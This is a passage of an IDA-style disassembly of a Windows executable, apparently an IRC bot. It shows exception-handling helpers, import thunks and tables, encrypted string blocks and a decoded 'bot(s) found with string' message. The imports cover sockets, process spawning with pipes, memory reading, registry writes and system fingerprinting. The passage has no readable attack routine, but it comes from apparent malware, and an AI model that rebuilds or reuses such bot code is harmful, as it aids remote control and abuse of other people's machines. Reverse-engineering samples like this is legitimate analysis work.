; =============== S U B	R O U T	I N E =======================================



sub_416E40	proc near		; CODE XREF: sub_414EF4+EAp
					; sub_414EF4+1E2p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_416EAF
		retn	4
sub_416E40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E4E	proc near		; CODE XREF: sub_414EF4+134p
					; sub_414EF4+2D8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_416EA0
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_41DDD0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_416EA0
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_416EA0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	dword_4171C8
		test	eax, eax
		jz	short loc_416EA0
		and	[ebp+var_4], 0


loc_416EA0:				; CODE XREF: sub_416E4E+Dj
					; sub_416E4E+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_416EAF
		leave
		retn	0Ch
sub_416E4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EAF	proc near		; CODE XREF: sub_416E40+6p
					; sub_416E4E+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416ED3
		lea	eax, [ebp+var_10]
		push	offset dword_4173B8
		push	eax
		call	sub_416FA2	; _CxxThrowException
sub_416EAF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416ED3	proc near		; CODE XREF: sub_416EAF+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_416EFF
		cmp	[esp+4+arg_8], 0
		jz	short loc_416EFF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_416EFF:				; CODE XREF: sub_416ED3+1Dj
					; sub_416ED3+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_416ED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F05	proc near		; DATA XREF: .data:off_4172B4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416F4E
		test	[esp+4+arg_0], 1
		jz	short loc_416F1B
		push	esi
		call	sub_416DCC
		pop	ecx


loc_416F1B:				; CODE XREF: sub_416F05+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F05	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_4172B4
		jz	short loc_416F48
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_416F48:				; CODE XREF: .data:00416F40j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_416F4E	proc near		; CODE XREF: sub_416F05+3p
					; DATA XREF: .data:004173BCo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		jz	short loc_416F64
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_416F64:				; CODE XREF: sub_416F4E+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_416F72
		push	esi
		call	dword_4170B0	; LocalFree


loc_416F72:				; CODE XREF: sub_416F4E+1Bj
		pop	esi
		retn
sub_416F4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F74	proc near		; CODE XREF: sub_401244+120p
					; sub_406E8E+DAp ...
		jmp	dword_4171C0
sub_416F74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F7A	proc near		; CODE XREF: sub_4020C2+113p
					; sub_4038BA+22Fp ...
		jmp	dword_417114
sub_416F7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F80	proc near		; CODE XREF: sub_402A32+CCp
					; sub_402A32+2B9p ...
		jmp	dword_417118
sub_416F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F86	proc near		; DATA XREF: .data:off_4172BCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416FA8
		test	[esp+4+arg_0], 1
		jz	short loc_416F9C
		push	esi
		call	sub_416DCC
		pop	ecx


loc_416F9C:				; CODE XREF: sub_416F86+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA2	proc near		; CODE XREF: sub_416EAF+1Fp
		jmp	dword_41711C
sub_416FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA8	proc near		; CODE XREF: sub_416F86+3p
		jmp	dword_417120
sub_416FA8	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A00h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------


loc_416FBC:				; DATA XREF: .data:0041737Co
		lea	ecx, [ebp-10h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0DF8h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E14h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------


loc_416FDD:				; DATA XREF: sub_414EF4o
		mov	eax, offset dword_417350
		jmp	loc_416E08
; ---------------------------------------------------------------------------
		align 4
		dd 6 dup(0)
dword_417000	dd 77DD7F3Eh		; DATA XREF: sub_401000+C6r
dword_417004	dd 77DD5C55h		; DATA XREF: sub_401000+11Ar
					; sub_406C51+96r
dword_417008	dd 77DD22EAh		; DATA XREF: sub_401000+65r
					; sub_406722+184r ...
dword_41700C	dd 77DD23D7h		; DATA XREF: sub_406722+1C3r
					; sub_4083AD+2DDr ...
dword_417010	dd 77DD59F0h		; DATA XREF: sub_406C51+88r
dword_417014	dd 77DD590Bh		; DATA XREF: sub_406C51+26r
dword_417018	dd 77DDACABh		; DATA XREF: sub_4083AD+E6r
dword_41701C	dd 77DE042Eh		; DATA XREF: sub_4102AE+62r
dword_417020	dd 77DE03D2h		; DATA XREF: sub_4102AE+27r
					; sub_4102AE+37r ...
dword_417024	dd 77DDEBA2h		; DATA XREF: sub_4102AE+17r
dword_417028	dd 77DD189Ah		; DATA XREF: sub_401000+136r
					; sub_406722+2F9r ...
		align 10h
dword_417030	dd 77E7C657h		; DATA XREF: sub_4083AD+11Er
					; sub_40D043+20Br ...
dword_417034	dd 77E7513Ch		; DATA XREF: sub_408342+10r
					; sub_408342+4Br
dword_417038	dd 77E705C5h		; DATA XREF: sub_406D47+41r
dword_41703C	dd 77E74672h		; DATA XREF: sub_406C51+6Fr
					; sub_414EF4+8EEr
dword_417040	dd 77E705B0h		; DATA XREF: sub_406B81+15r
dword_417044	dd 77E7A837h		; DATA XREF: sub_406B81+47r
					; sub_406B81+95r ...
dword_417048	dd 77E73CE2h		; DATA XREF: sub_406B81+6Er
dword_41704C	dd 77E7011Ah		; DATA XREF: sub_406B81+BCr
dword_417050	dd 77E704FCh		; DATA XREF: sub_406A23+15r
					; sub_406AE7+15r ...
dword_417054	dd 77E805D8h		; DATA XREF: sub_403BD3+Br
					; sub_403BD3+32r ...
dword_417058	dd 77E7A5FDh		; DATA XREF: sub_403BD3+22r
					; sub_403BD3+4Dr ...
dword_41705C	dd 77E75CB5h		; DATA XREF: sub_40332B+227r
					; sub_407148+18Br ...
dword_417060	dd 77E6BD13h		; DATA XREF: sub_402A32+ECr
					; sub_406E8E+1FEr
dword_417064	dd 77F5157Dh		; DATA XREF: sub_402A32+F6r
					; sub_409CB1+CFr ...
dword_417068	dd 77E79D8Ch		; DATA XREF: sub_401D39+22r
					; sub_406D90+D3r
dword_41706C	dd 77E6CBF9h		; DATA XREF: sub_401981+4Fr
dword_417070	dd 77E7727Ah		; DATA XREF: sub_401981+9Er
					; sub_401981+D7r
dword_417074	dd 77E79C90h		; DATA XREF: sub_401981+104r
					; sub_401981+111r
dword_417078	dd 77E65F4Ch		; DATA XREF: sub_4083AD+FAr
dword_41707C	dd 77E61BB8h		; DATA XREF: sub_401981+1C6r
					; sub_406E8E+2A5r
dword_417080	dd 77EB7624h		; DATA XREF: sub_401981+274r
dword_417084	dd 77E7FF65h		; DATA XREF: sub_401981+2B3r
dword_417088	dd 77E78B82h		; DATA XREF: sub_401981+37Br
dword_41708C	dd 77E79F93h		; DATA XREF: sub_401244+F2r
					; sub_40332B+1D0r ...
dword_417090	dd 77E7A099h		; DATA XREF: sub_401244+F9r
					; sub_40332B+1D7r ...
dword_417094	dd 77E706B7h		; DATA XREF: sub_401244+159r
					; sub_406041+193r ...
dword_417098	dd 77E61A54h		; DATA XREF: sub_401244+21Dr
					; sub_406509+91r
dword_41709C	dd 77E61BE6h		; DATA XREF: sub_401244+3C6r
					; sub_401244+4F4r ...
dword_4170A0	dd 77E616B4h		; DATA XREF: sub_401244+439r
					; sub_406643+3Br
dword_4170A4	dd 77E77963h		; DATA XREF: sub_401244+471r
					; sub_401244+4C1r ...
dword_4170A8	dd 77E70396h		; DATA XREF: sub_401146+11r
					; sub_406E8E+22Ar ...
dword_4170AC	dd 77E73628h		; DATA XREF: sub_401146+23r
					; sub_401E38+30r ...
dword_4170B0	dd 77E79A45h		; DATA XREF: sub_416F4E+1Er
dword_4170B4	dd 77E7AC37h		; DATA XREF: sub_40A1A7+106r
dword_4170B8	dd 77E75090h		; DATA XREF: sub_40D74D+87r
dword_4170BC	dd 77E74D76h		; DATA XREF: sub_40D74D+4Ar
dword_4170C0	dd 77E77797h		; DATA XREF: sub_40D74D+33r
dword_4170C4	dd 77E76C1Ah		; DATA XREF: sub_4083AD+33r
dword_4170C8	dd 77E686CCh		; DATA XREF: sub_408E8E+4Br
					; sub_408F2E+134r
dword_4170CC	dd 77E6C0E3h		; DATA XREF: sub_408E8E+1Ar
					; sub_408F2E+7Fr ...
dword_4170D0	dd 77E7751Ah		; DATA XREF: sub_409226:loc_40928Er
					; sub_4092A4:loc_409307r ...
dword_4170D4	dd 77E6D75Bh		; DATA XREF: sub_409226+14r
					; sub_4092A4+14r ...
dword_4170D8	dd 77E802FCh		; DATA XREF: sub_409226+Ar
					; sub_4092A4+Ar ...
dword_4170DC	dd 77E7176Ch		; DATA XREF: sub_4093B6+51r
dword_4170E0	dd 77E75CEBh		; DATA XREF: sub_4098F3+A2r
					; sub_4098F3+1B6r
dword_4170E4	dd 77E79908h		; DATA XREF: sub_409C36+2Er
dword_4170E8	dd 77E80656h		; DATA XREF: sub_401244+D7r
					; sub_406643+19r
dword_4170EC	dd 77F7E21Fh		; DATA XREF: sub_409C6C+6r
dword_4170F0	dd 77E79CE3h		; DATA XREF: sub_401981+118r
dword_4170F4	dd 77E78C17h		; DATA XREF: .data:00416822r
dword_4170F8	dd 77E7C2C4h		; DATA XREF: .data:00416899r
dword_4170FC	dd 77E73167h		; DATA XREF: sub_414EF4+5AAr
					; sub_414EF4+5BCr ...
dword_417100	dd 77E73BEFh		; DATA XREF: sub_414EF4+9C0r
dword_417104	dd 77E7AC5Eh		; DATA XREF: sub_4148CE+B0r
dword_417108	dd 77E76432h		; DATA XREF: sub_40D871+29Br
					; sub_414EF4+5CEr ...
dword_41710C	dd 77F7E300h		; DATA XREF: sub_409C7A+6r
		dd 0
dword_417114	dd 77C1C055h		; DATA XREF: sub_416F7Ar
dword_417118	dd 77C423F5h		; DATA XREF: sub_416F80r
dword_41711C	dd 77C219F5h		; DATA XREF: sub_416FA2r
dword_417120	dd 77C20C5Bh		; DATA XREF: sub_416FA8r
dword_417124	dd 77C21AD8h		; DATA XREF: .data:loc_416E08r
dword_417128	dd 77C43150h		; DATA XREF: sub_416E02r
dword_41712C	dd 77C41FA0h		; DATA XREF: sub_416B3Ar
dword_417130	dd 77C33FDEh		; DATA XREF: sub_416DFCr
dword_417134	dd 77C33FC1h		; DATA XREF: sub_416DF6r
dword_417138	dd 77C3CE0Ch		; DATA XREF: sub_416DF0r
dword_41713C	dd 77C42D60h		; DATA XREF: sub_416DEAr
dword_417140	dd 77C1C6F3h		; DATA XREF: sub_416DE4r
dword_417144	dd 77C435C0h		; DATA XREF: sub_416DDEr
dword_417148	dd 77C3E5D9h		; DATA XREF: sub_416DD8r
dword_41714C	dd 77C28925h		; DATA XREF: sub_416DD2r
dword_417150	dd 77C28933h		; DATA XREF: sub_416DCCr
dword_417154	dd 77C3CCE7h		; DATA XREF: sub_416DC6r
dword_417158	dd 77C37FEDh		; DATA XREF: sub_416DC0r
dword_41715C	dd 77C33EB0h		; DATA XREF: sub_416DBAr
dword_417160	dd 77C4B940h		; DATA XREF: sub_416CFEr
dword_417164	dd 77C4B120h		; DATA XREF: sub_416CF8r
dword_417168	dd 77C37ADCh		; DATA XREF: sub_416BFCr
dword_41716C	dd 77C2AC58h		; DATA XREF: sub_416BF6r
dword_417170	dd 77C438C0h		; DATA XREF: sub_416BF0r
dword_417174	dd 77C3C93Ch		; DATA XREF: sub_416BAEr
dword_417178	dd 77C43AB0h		; DATA XREF: sub_416BA8r
dword_41717C	dd 77C3E8C0h		; DATA XREF: sub_416BA2r
dword_417180	dd 77C1BE00h		; DATA XREF: sub_416B9Cr
dword_417184	dd 77C3E140h		; DATA XREF: sub_416B96r
dword_417188	dd 77C3DFB5h		; DATA XREF: sub_416B90r
dword_41718C	dd 77C3BF06h		; DATA XREF: sub_416B88r
dword_417190	dd 77C3D8F6h		; DATA XREF: sub_416B82r
dword_417194	dd 77C3E4B9h		; DATA XREF: sub_416B7Cr
dword_417198	dd 77C3E303h		; DATA XREF: sub_416B76r
dword_41719C	dd 77C41FB0h		; DATA XREF: sub_416B70r
dword_4171A0	dd 77C43490h		; DATA XREF: sub_416B6Ar
dword_4171A4	dd 77C46553h		; DATA XREF: sub_416B64r
dword_4171A8	dd 77C3C813h		; DATA XREF: sub_416B5Er
dword_4171AC	dd 77C43900h		; DATA XREF: sub_416B58r
dword_4171B0	dd 77C42E10h		; DATA XREF: sub_416B52r
dword_4171B4	dd 77C2AA6Bh		; DATA XREF: sub_416B4Cr
dword_4171B8	dd 77C2AC46h		; DATA XREF: sub_416B46r
dword_4171BC	dd 77C43710h		; DATA XREF: sub_416B40r
dword_4171C0	dd 77C421A2h		; DATA XREF: sub_416F74r
		align 8
dword_4171C8	dd 7713BC68h		; DATA XREF: sub_416E4E+44r
		align 10h
dword_4171D0	dd 77428B97h		; DATA XREF: sub_401D6E+2Dr
					; sub_402A32+79Br ...
		align 8
dword_4171D8	dd 77D4456Bh		; DATA XREF: sub_40A9CF+121r
dword_4171DC	dd 77D79D1Ch		; DATA XREF: sub_414EF4+76Dr
dword_4171E0	dd 77D4C96Ah		; DATA XREF: sub_406D90+B0r
					; sub_408F2E+1D1r ...
dword_4171E4	dd 77D5C13Ah		; DATA XREF: sub_40A9CF+128r
					; sub_415B60+84r
dword_4171E8	dd 77D4BDCAh		; DATA XREF: sub_40D734+Br
dword_4171EC	dd 77D4702Fh		; DATA XREF: sub_40D74D+6Cr
					; sub_40D74D+7Er
		dd 0
dword_4171F4	dd 71AB3E5Dh		; DATA XREF: sub_404FE7+C5r
					; sub_4050EA+106r ...
dword_4171F8	dd 71AB1B7Bh		; DATA XREF: sub_416E30r
dword_4171FC	dd 71AB868Dh		; DATA XREF: sub_4048EF+11Er
					; sub_4048EF+39Fr
dword_417200	dd 71AB8629h		; DATA XREF: sub_40538D+8r
					; sub_412A3A+178r ...
dword_417204	dd 71AB3F8Dh		; DATA XREF: sub_4046BC+114r
					; sub_4055E5+7Br ...
dword_417208	dd 71AB3ECEh		; DATA XREF: sub_4046BC+129r
					; sub_411DC5+DFr ...
dword_41720C	dd 71AB1AF4h		; DATA XREF: sub_4053BF+Fr
					; sub_40A9CF+1A74r
dword_417210	dd 71ABF628h		; DATA XREF: sub_4044F7+21r
					; sub_4045B2+21r
dword_417214	dd 71AB155Ah		; DATA XREF: sub_404457+1Cr
					; sub_40447B+10r
dword_417218	dd 71AB3C22h		; DATA XREF: sub_40432E+Ar
					; sub_4046BC+CEr ...
dword_41721C	dd 71AB401Ch		; DATA XREF: sub_4038BA+72r
					; sub_40732D+1A8r ...
dword_417220	dd 71ABD755h		; DATA XREF: sub_4038BA+D0r
					; sub_4038BA+171r ...
dword_417224	dd 71AB1740h		; DATA XREF: sub_4038BA+E5r
					; sub_4038BA+186r ...
dword_417228	dd 71ABD850h		; DATA XREF: sub_4038BA+28Dr
dword_41722C	dd 71AB1890h		; DATA XREF: sub_4048EF+265r
					; sub_404E1C+E0r ...
dword_417230	dd 71AB1A6Dh		; DATA XREF: sub_4053B1+6r
					; sub_40A9CF+1A80r ...
dword_417234	dd 71AB350Dh		; DATA XREF: sub_403588+23r
					; sub_403588+4Ar ...
dword_417238	dd 71AB1746h		; DATA XREF: sub_403588+BAr
					; sub_403588+1FEr ...
dword_41723C	dd 71AB2BBFh		; DATA XREF: sub_403588+151r
					; sub_4055E5+F3r ...
dword_417240	dd 71AB157Eh		; DATA XREF: sub_4020C2+B9r
					; sub_40449C+21r ...
dword_417244	dd 71AB12F8h		; DATA XREF: sub_4020C2+1FAr
					; sub_4055E5+DDr ...
dword_417248	dd 71AB5690h		; DATA XREF: sub_401E38+106r
					; sub_4053DC+27r ...
dword_41724C	dd 71AB12A7h		; DATA XREF: sub_401E38+141r
					; sub_4020C2+201r
dword_417250	dd 71AB1ED3h		; DATA XREF: sub_4055E5+7F2r
					; sub_411DC5+372r ...
dword_417254	dd 71AB1836h		; DATA XREF: sub_406E8E+2ABr
					; sub_407148+183r ...
dword_417258	dd 71AB1444h		; DATA XREF: sub_411DC5+2A1r
dword_41725C	dd 71AB14DCh		; DATA XREF: sub_415F69+157r
dword_417260	dd 71AB32CAh		; DATA XREF: sub_415F69+81r
dword_417264	dd 71AB41DAh		; DATA XREF: .data:004169F2r
dword_417268	dd 71AB5DE2h		; DATA XREF: sub_4046BC+14Dr
		align 10h
flt_417270	dd 1.0e3		; DATA XREF: sub_401E38+207r
					; sub_401E38+22Fr ...
flt_417274	dd 1.024e3		; DATA XREF: sub_408B30+2A2r
dword_417278	dd 0FFFFFFFFh, 409449h,	40945Fh, 0 ; DATA XREF:	sub_4093B6+5o
dword_417288	dd 0FFFFFFFFh, 409572h,	40958Ah, 0 ; DATA XREF:	sub_4094E6+5o
dword_417298	dd 0FFFFFFFFh, 416AE7h,	416AFDh, 0 ; DATA XREF:	.data:004167F6o
		dd offset loc_416AC5
		dd offset loc_416ADB
		dd offset dword_4172F0
off_4172B4	dd offset sub_416F05	; DATA XREF: sub_416ED3+12o
					; .data:00416F3Ao ...
		dd offset dword_417338
off_4172BC	dd offset sub_416F86	; DATA XREF: .data:off_41DDE0o
					; .data:off_41DE00o
off_4172C0	dd offset off_41DDE0	; DATA XREF: .data:004172D8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4172C0
dword_4172DC	dd 3 dup(0)		; DATA XREF: .data:00417300o
		dd 1, 4172D8h
dword_4172F0	dd 3 dup(0)		; DATA XREF: .data:004172B0o
		dd offset off_41DDE0
		dd offset dword_4172DC+4
		dd 0
off_417308	dd offset off_41DE00	; DATA XREF: .data:00417320o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_417308
		dd 0
		db    0			; DATA XREF: .data:00417348o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 417320h
dword_417338	dd 3 dup(0)		; DATA XREF: .data:004172B8o
		dd offset off_41DE00
		dd offset unk_417328
		align 10h
dword_417350	dd 19930520h, 4, 417370h, 5 dup(0) ; DATA XREF:	.data:loc_416FDDo
		dd 0FFFFFFFFh, 416FB0h,	0
		dd offset loc_416FBC
		dd 1, 416FC5h, 2, 416FD1h, 0
		dd offset off_41DDE0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	416F21h, 0
dword_4173B0	dd 1, 417390h		; DATA XREF: .data:004173C4o
dword_4173B8	dd 0			; DATA XREF: sub_416EAF+19o
		dd offset sub_416F4E
		dd 0
		dd offset dword_4173B0
		dd 1757Ch, 2 dup(0)
		dd 17876h, 17114h, 1765Ch, 2 dup(0)
		dd 1788Eh, 171F4h, 17498h, 2 dup(0)
		dd 17C70h, 17030h, 17640h, 2 dup(0)
		dd 17CE6h, 171D8h, 17468h, 2 dup(0)
		dd 17DBAh, 17000h, 17638h, 2 dup(0)
		dd 17DD8h, 171D0h, 17630h, 2 dup(0)
		dd 17E3Eh, 171C8h, 0A1h	dup(0)
		dd 74730000h, 79706372h, 0
aStrlen		db 'strlen',0
		align 4
		dd 616D0000h, 636F6C6Ch, 0
aFree		db 'free',0
		align 10h
aMemcpy		db 'memcpy',0
		align 4
		dd 74730000h, 70636E72h, 79h, 69727073h, 66746Eh, 6C630000h
		dd 6B636Fh, 656D0000h, 7465736Dh, 0
aStrcat		db 'strcat',0
		align 4
		dd 74660000h, 6C6C65h, 77660000h, 65746972h, 0
aFclose		db 'fclose',0
		align 4
		dd 6F660000h, 6E6570h, 72660000h, 646165h, 73660000h, 6B6565h
		dd 74610000h, 696Fh, 73730000h,	666E6163h, 0
aStrstr		db 'strstr',0
		align 4
		dd 735F0000h, 6972706Eh, 66746Eh, 74730000h, 6D636E72h
		dd 70h,	6C616572h, 636F6Ch, 78650000h, 7469h, 665F0000h
		dd 6C6F74h, 65630000h, 6C69h, 655F0000h, 70656378h, 61685F74h
		dd 656C646Eh, 3372h, 625F0000h,	6E696765h, 65726874h, 78656461h
		dd 0
aVsprintf	db 'vsprintf',0
		align 4
a??3@yaxpax@z	db '??3@YAXPAX@Z',0
		align 4
a??2@yapaxi@z	db '??2@YAPAXI@Z',0
		align 4
aPrintf		db 'printf',0
		align 4
		dd 74730000h, 706D6372h, 0
aTolower	db 'tolower',0
		dd 656D0000h, 706D636Dh, 0
a_vsnprintf	db '_vsnprintf',0
		align 4
		dd 725F0000h, 6C746Fh, 725F0000h, 72746Fh, 656D0000h, 766F6D6Dh
		dd 65h,	78435F5Fh, 61724678h, 6148656Dh, 656C646Eh, 534D0072h
		dd 54524356h, 6C6C642Eh, 0
aWsaioctl	db 'WSAIoctl',0
		align 2
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 4
aDeletefilea	db 'DeleteFileA',0
		dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h
		dd 0
aClosehandle	db 'CloseHandle',0
		dd 65540000h, 6E696D72h, 50657461h, 65636F72h, 7373h, 6C530000h
		dd 706565h, 65520000h, 72506461h, 7365636Fh, 6D654D73h
		dd 79726Fh, 704F0000h, 72506E65h, 7365636Fh, 73h, 4D746547h
		dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 646F4D74h
		dd 48656C75h, 6C646E61h, 4165h,	65470000h, 72754374h, 746E6572h
		dd 636F7250h, 49737365h, 64h, 64616552h, 656C6946h, 0
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 4
		dd 65500000h, 614E6B65h, 5064656Dh, 657069h, 72430000h
		dd 65746165h, 636F7250h, 41737365h, 0
aDuplicatehandl	db 'DuplicateHandle',0
		dd 65470000h, 72754374h, 746E6572h, 636F7250h, 737365h
		dd 72430000h, 65746165h, 65706950h, 0
aSearchpatha	db 'SearchPathA',0
		dd 72570000h, 46657469h, 656C69h, 65470000h, 73614C74h
		dd 72724574h, 726Fh, 6F430000h,	69467970h, 41656Ch, 78450000h
		dd 72507469h, 7365636Fh, 73h, 50746547h, 41636F72h, 65726464h
		dd 7373h, 6F4C0000h, 694C6461h,	72617262h, 4179h, 65470000h
		dd 73795374h, 446D6574h, 63657269h, 79726F74h, 41h, 46746553h
		dd 54656C69h, 656D69h, 65470000h, 6C694674h, 6D695465h
		dd 65h,	61657243h, 69466574h, 41656Ch, 65470000h, 6E695774h
		dd 73776F64h, 65726944h, 726F7463h, 4179h, 736C0000h, 656C7274h
		dd 416Eh, 65530000h, 72754374h,	746E6572h, 65726944h, 726F7463h
		dd 4179h, 65470000h, 636F4C74h,	49656C61h, 416F666Eh, 0
aGetversionexa	db 'GetVersionExA',0
		align 4
aGetcomputernam	db 'GetComputerNameA',0
		align 4
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 10h
		dd 65470000h, 73694474h, 6572466Bh, 61705365h, 78456563h
		dd 41h,	44746547h, 65766972h, 65707954h, 41h, 54746547h
		dd 436B6369h, 746E756Fh, 0
aQueryperforman	db 'QueryPerformanceFrequency',0
		align 4
aQueryperform_0	db 'QueryPerformanceCounter',0
		dd 73490000h, 43646142h, 5065646Fh, 7274h, 65540000h, 6E696D72h
		dd 54657461h, 61657268h, 64h, 74696E49h, 696C6169h, 7243657Ah
		dd 63697469h, 65536C61h, 6F697463h, 6Eh, 65746E45h, 69724372h
		dd 61636974h, 6365536Ch, 6E6F6974h, 0
aLeavecriticals	db 'LeaveCriticalSection',0
		align 4
aCreatethread	db 'CreateThread',0
		align 4
aUnmapviewoffil	db 'UnmapViewOfFile',0
		dd 614D0000h, 65695670h, 46664F77h, 656C69h, 72430000h
		dd 65746165h, 656C6946h, 7070614Dh, 41676E69h, 0
aLstrcmpa	db 'lstrcmpA',0
		align 10h
aGetenvironment	db 'GetEnvironmentVariableA',0
		dd 736C0000h, 70637274h, 416E79h, 736C0000h, 70637274h
		dd 4179h, 72430000h, 65746165h,	6574754Dh, 4178h, 65530000h
		dd 72724574h, 6F4D726Fh, 6564h,	4E52454Bh, 32334C45h, 6C6C642Eh
		dd 0
aWsprintfa	db 'wsprintfA',0
		align 4
aGetwindowtexta	db 'GetWindowTextA',0
		align 4
		dd 65470000h, 726F4674h, 6F726765h, 57646E75h, 6F646E69h
		dd 77h,	646E6946h, 646E6957h, 41776Fh, 65530000h, 654D646Eh
		dd 67617373h, 4165h, 73490000h,	72616843h, 68706C41h, 6D754E61h
		dd 63697265h, 53550041h, 32335245h, 6C6C642Eh, 0
aRegclosekey	db 'RegCloseKey',0
		dd 65520000h, 6C654467h, 56657465h, 65756C61h, 41h, 45676552h
		dd 566D756Eh, 65756C61h, 41h, 4F676552h, 4B6E6570h, 78457965h
		dd 41h,	51676552h, 79726575h, 756C6156h, 41784565h, 0
aRegsetvalueexa	db 'RegSetValueExA',0
		align 4
		dd 65520000h, 65724367h, 4B657461h, 78457965h, 41h, 55746547h
		dd 4E726573h, 41656D61h, 0
aCryptreleaseco	db 'CryptReleaseContext',0
		dd 72430000h, 47747079h, 61526E65h, 6D6F646Eh, 0
aCryptacquireco	db 'CryptAcquireContextA',0
		align 2
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 4
		dd 68530000h, 456C6C65h, 75636578h, 416574h, 4C454853h
		dd 2E32334Ch, 6C6C64h, 735F0000h, 6D637274h, 6970h, 695F0000h
		dd 616F74h, 735F0000h, 696E7274h, 706D63h, 435F0000h, 68547878h
		dd 45776F72h, 70656378h, 6E6F6974h, 0
a??1type_info@@	db '??1type_info@@UAE@XZ',0
		align 4
aLocalfree	db 'LocalFree',0
aOleaut32_dll_0	db 'OLEAUT32.dll',0
		align 4
		dd 6Ch dup(0)
		dd 0FC5FA01Dh
off_418000	dd offset dword_418098	; DATA XREF: sub_401000+1Dr
					; sub_401000+2Er
		dd offset dword_41805C
		dd offset dword_418040
		dd offset dword_418014
		dd 0
dword_418014	dd 0E4E4BFB1h, 0FD92B7D8h, 0B6ACE2BDh, 0DEB4A195h, 0DFC5928Ch
					; DATA XREF: .data:0041800Co
		dd 0CAABA9F1h, 0BDB1D394h, 0DD98A78Fh, 0D1C4AABEh, 2 dup(0)
dword_418040	dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0FFEB9284h
					; DATA XREF: .data:00418008o
		dd 0BFD1h, 0
dword_41805C	dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h
					; DATA XREF: .data:00418004o
		dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh
		dd 0A68CCCA6h, 0C3928695h, 0D5D48F94h, 0EEh, 0
dword_418098	dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h
					; DATA XREF: .data:off_418000o
		dd 0D1AA94F4h, 9082E3BFh, 0D485A78Eh, 0D5E1928Ch, 0D1A789EFh
		dd 0A68CCCA6h, 95h, 0
dword_4180CC	dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h
					; DATA XREF: sub_401244+52Do
		dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h
		dd 2E0203h
